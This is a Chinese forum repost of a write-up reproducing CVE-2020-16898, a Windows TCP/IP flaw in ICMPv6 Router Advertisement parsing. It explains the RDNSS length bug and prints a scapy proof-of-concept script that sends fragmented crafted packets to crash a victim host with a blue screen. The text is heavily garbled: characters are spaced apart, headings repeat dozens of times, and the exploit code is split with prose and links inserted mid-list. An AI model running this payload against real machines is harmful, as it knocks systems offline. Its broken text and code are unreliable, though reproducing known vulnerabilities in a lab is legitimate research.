搜索

[7008] 2020-10-26_CVE-2020-16898Windowstcpip远程代码执行漏洞复现

文档创建者：s7ckTeam
浏览次数：8
最后更新：2025-01-17
2020-10-26_CVE-2020-16898Windowstcpip远程代码执行漏洞复现 C V E - 2 0 2 0 - 1 6 8 9 8   W i n d o w s   t c p / i p 远 程 代 码 执 行 漏 洞 复 现 E 安 全   2 0 2 0 - 1 0 - 2 6 以 下 文 章 来 源 于 雷 神 众 测   ， 作 者 W i l l 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 由 于 传 播 、 利 用 此 文 所 提 供 的 信 息 而 造 成 的 任 何 直 接 或 者 间 接 的 后 果 及 损 失 ， 均 由 使 用 者 本 人 负 责 ， 雷 神 众 测 以 及 文 章 作 者 不 为 此 承 担 任 何 责 任 。 雷 神 众 测 拥 有 对 此 文 章 的 修 改 和 解 释 权 。 如 欲 转 载 或 传 播 此 文 章 ， 必 须 保 证 此 文 章 的 完 整 性 ， 包 括 版 权 声 明 等 全 部 内 容 。 未 经 雷 神 众 测 允 许 ， 不 得 任 意 修 改 或 者 增 减 此 文 章 内 容 ， 不 得 以 任 何 方 式 将 其 用 于 商 业 目 的 。 N o . 1 N o . 1 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 环 境 搭 建 攻 击 机 ： w i n d o w s   1 0 （ p y t h o n 版 本 ： 3 . 7 ， 安 装 了 s c a p y 依 赖 ） 受 害 机 环 境 ： w i n d o w s 1 0   1 9 0 9 受 害 机 网 络 开 启 i p v 6 支 持 打 开 c m d 输 入 i p c o n f i g 查 看 受 害 机 i p v 6 地 址 为 雷 神 众 测 雷 神 众 测   . 雷 神 众 测 ， 专 注 于 渗 透 测 试 技 术 及 全 球 最 新 网 络 攻 击 技 术 的 分 析 。 f d 1 5 : 4 b a 5 : 5 a 2 b : 1 0 0 8 : 8 c 9 a : 8 a 2 b : 4 4 8 9 : 7 4 a a
攻 击 机 的 i p v 6 地 址 为 注 意 ： 受 害 机 选 用 的 注 意 ： 受 害 机 选 用 的 i p v 6 地 址 为 地 址 为 i p v 6 地 址 或 临 时 地 址 或 临 时 i p v 6 地 址 ， 攻 击 机 选 用 的 地 址 ， 攻 击 机 选 用 的 i p v 6 地 址 为 本 地 链 接 地 址 为 本 地 链 接 i p v 6 地 址 ， 攻 击 机 与 受 害 机 网 络 要 畅 通 ！ ！ 地 址 ， 攻 击 机 与 受 害 机 网 络 要 畅 通 ！ ！ N o . 2 N o . 2 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 2 . 1   漏 洞 背 景 漏 洞 背 景 2 0 2 0 年 1 0 月 1 4 日 ， 某 监 测 发 现   M i c r o s o f t   发 布 了   T C P / I P 远 程 代 码 执 行 漏 洞 的 风 险 通 告 ， 该 漏 洞 是 由 于 W i n d o w s   T C P / I P 堆 栈 在 处 理 I M C P v 6   R o u t e r   A d v e r t i s e m e n t （ 路 由 通 告 ） 数 据 包 时 存 在 漏 洞 ， 远 程 攻 击 者 通 过 构 造 特 制 的 I C M P v 6   R o u t e r   A d v e r t i s e m e n t （ 路 由 通 告 ） 数 据 包   ， 并 将 其 发 送 到 远 程 W i n d o w s 主 机 上 ， 可 造 成 远 程 B S O D ， 漏 洞 编 号 为 C V E - 2 0 2 0 - 1 6 8 9 8 。 2 . 2   漏 洞 成 因 漏 洞 成 因 根 据 r f c 5 0 0 6   描 述 ， R D N S S 包 的 l e n g t h 应 为 奇 数 ， 而 当 攻 击 者 构 造 的 R D N S S 包 的 L e n g t h 为 偶 数 时 ， W i n d o w s   T C P / I P   在 检 查 包 过 程 中 会 根 据 L e n g t h 来 获 取 每 个 包 的 偏 移 ， 遍 历 解 析 ， 导 致 对   A d d r e s s e s   o f   I P v 6   R e c u r s i v e   D N S   S e r v e r s   和 下 一 个   R D N S S   选 项 的 边 界 解 析 错 误 ， 从 而 绕 过 验 证 ， 将 攻 击 者 伪 造 的 o p t i o n 包 进 行 解 析 ， 造 成 栈 溢 出 ， 从 而 导 致 系 统 崩 溃 。 2 . 3 漏 洞 利 用 漏 洞 利 用 p a y l o a d ： f e 8 0 : : 9 8 3 5 : b 7 b a : c 8 1 3 : 5 f 6 a % 1 0 f r o m   s c a p y . a l l   i m p o r t   * f r o m   s c a p y . l a y e r s . i n e t 6   i m p o r t   I C M P v 6 N D O p t E F A ,   I C M P v 6 N D O p t R D N S S ,   I C M P v 6 N D _ R A ,   I P v 6 ,   I P v 6 E x t H d r F r a g m e n t ,   f r a g m e n t 6   v 6 _ d s t   =   " f d 1 5 : 4 b a 5 : 5 a 2 b : 1 0 0 8 : 1 0 9 f : 9 a 4 6 : 8 d 1 9 : f 1 0 3 " v 6 _ s r c   =   " f e 8 0 : : 5 0 1 a : 4 9 b 7 : b 7 d : 5 3 6 2 % 1 2 "   p _ t e s t _ h a l f   =   ' A ' . e n c o d e ( ) * 8   +   b " x 1 8 x 3 0 "   +   b " x F F x 1 8 " p _ t e s t   =   p _ t e s t _ h a l f   +   ' A ' . e n c o d e ( ) * 4   c   =   I C M P v 6 N D O p t E F A ( )   e   =   I C M P v 6 N D O p t R D N S S ( ) e . l e n   =   2 1 e . d n s   =   [ " A A A A : A A A A : A A A A : A A A A : F F F F : A A A A : A A A A : A A A A " , " A A A A : A A A A : A A A A : A A A A : A A A A : A A A A : A A A A : A A A A " , " A A A A : A A A A : A A A A : A A A A : A A A A : A A A A : A A A A : A A A A " , " A A A A : A A A A : A A A A : A A A A : A A A A : A A A A : A A A A : A A A A " , " A A A A : A A A A : A A A A : A A A A : A A A A : A A A A : A A A A : A A A A " , " A A A A : A A A A : A A A A : A A A A : A A A A : A A A A : A A A A : A A A A " , " A A A A : A A A A : A A A A : A A A A : A A A A : A A A A : A A A A : A A A A " , " A A A A : A A A A : A A A A : A A A A : A A A A : A A A A : A A A A : A A A A " , " A A A A : A A A A : A A A A : A A A A : A A A A : A A A A : A A A A : A A A A " ,
这 段 这 段 p a y l o a d 作 用 是 构 造 特 定 作 用 是 构 造 特 定 i p v 6 数 据 包 ， 发 送 给 受 害 者 机 器 ， 让 受 害 机 器 蓝 屏 。 数 据 包 ， 发 送 给 受 害 者 机 器 ， 让 受 害 机 器 蓝 屏 。 执 行 脚 本 执 行 脚 本 受 害 机 蓝 屏 了 受 害 机 蓝 屏 了 同 时 同 时 w i r e s h a r k 进 行 抓 包 ， 这 些 都 是 攻 击 机 发 送 的 数 据 进 行 抓 包 ， 这 些 都 是 攻 击 机 发 送 的 数 据 检 测 漏 洞 脚 本 地 址 ： 检 测 漏 洞 脚 本 地 址 ： h t t p s : / / g i t h u b . c o m / C P O - E H / C V E - 2 0 2 0 - 1 6 8 9 8 _ C h e c k e r / b l o b / m a i n / C V E - 2 0 2 0 - 1 6 8 9 8 _ C h e c k e r . p s 1 参 考 链 接 ： h t t p s : / / b l o g . c s d n . n e t / m u k a m i 0 6 2 1 / a r t i c l e / d e t a i l s / 1 0 9 1 6 5 5 7 4 h t t p s : / / c e r t . 3 6 0 . c n / r e p o r t / d e t a i l ？ i d = 7 7 1 d 8 d d c 2 d 7 0 3 0 7 1 d 5 7 6 1 b 6 a 2 b 1 3 9 7 9 3 h t t p s : / / b l o g . c s d n . n e t / h s j _ c s d n / a r t i c l e / d e t a i l s / 1 0 9 1 3 8 1 6 2 " A A A A : A A A A : A A A A : A A A A : A A A A : A A A A : A A A A : A A A A " , " A A A A : A A A A : A A A A : A A A A : A A A A : A A A A : A A A A : A A A A "   ] a a a   =   I C M P v 6 N D O p t R D N S S ( ) a a a . l e n   =   8 p k t   =   I C M P v 6 N D _ R A ( )   /   a a a   /               R a w ( l o a d = ' A ' . e n c o d e ( ) * 1 6 * 2   +   p _ t e s t _ h a l f   +   b " x 1 8 x a 0 " * 6 )   /   c   /   e   /   c   /   e   /   c   /   e   /   c   /   e   /   c   /   e   /   e   /   e   /   e   /   e   /   e   /   e   p _ t e s t _ f r a g   =   I P v 6 ( d s t = v 6 _ d s t ,   s r c = v 6 _ s r c ,   h l i m = 2 5 5 ) /                               I P v 6 E x t H d r F r a g m e n t ( ) / p k t   l = f r a g m e n t 6 ( p _ t e s t _ f r a g ,   2 0 0 )   f o r   p   i n   l :         s e n d ( p )
注 ： 本 文 由 E 安 全 编 译 报 道 ， 转 载 请 注 原 文 地 址   h t t p s : / / w w w . e a s y a q . c o m 推 荐 阅 读 ： 美 国 对 5 个 伊 朗 实 体 实 施 新 制 裁   理 由 ： 干 预 美 国 大 选 外 媒 ： 斯 诺 登 获 俄 罗 斯 永 久 居 留 权   不 过 并 未 打 算 申 请 俄 罗 斯 国 籍 家 有 摄 像 头 的 要 当 心 ！ 黑 客 团 伙 上 传 大 量 私 密 短 片 最 新 消 息 ！ 微 软 已 关 闭 了 T r i c k b o t 僵 尸 网 络 9 4 % 的 关 键 基 础 设 施 万 事 达 将 在 亚 洲 使 用 生 物 识 别 读 取 器 试 行 非 接 触 式 卡 ▼ 稿 件 合 作     1 5 5 5 8 1 9 2 9 5 9     小 E 微 信 号 ： E a n q u a n 0 9 1 4 喜 欢 记 得 打 赏 小 E 哦 ！
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理